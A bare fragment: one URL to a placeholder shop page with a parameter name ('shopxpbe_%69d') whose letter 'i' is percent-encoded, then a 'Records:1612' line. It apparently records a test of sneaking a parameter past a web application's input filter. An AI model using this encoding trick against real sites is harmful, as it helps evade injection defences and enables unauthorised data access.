http://www.xxx.com/xxxasp?action_key_order=big&shopxpbe_%69d=79

Records:1612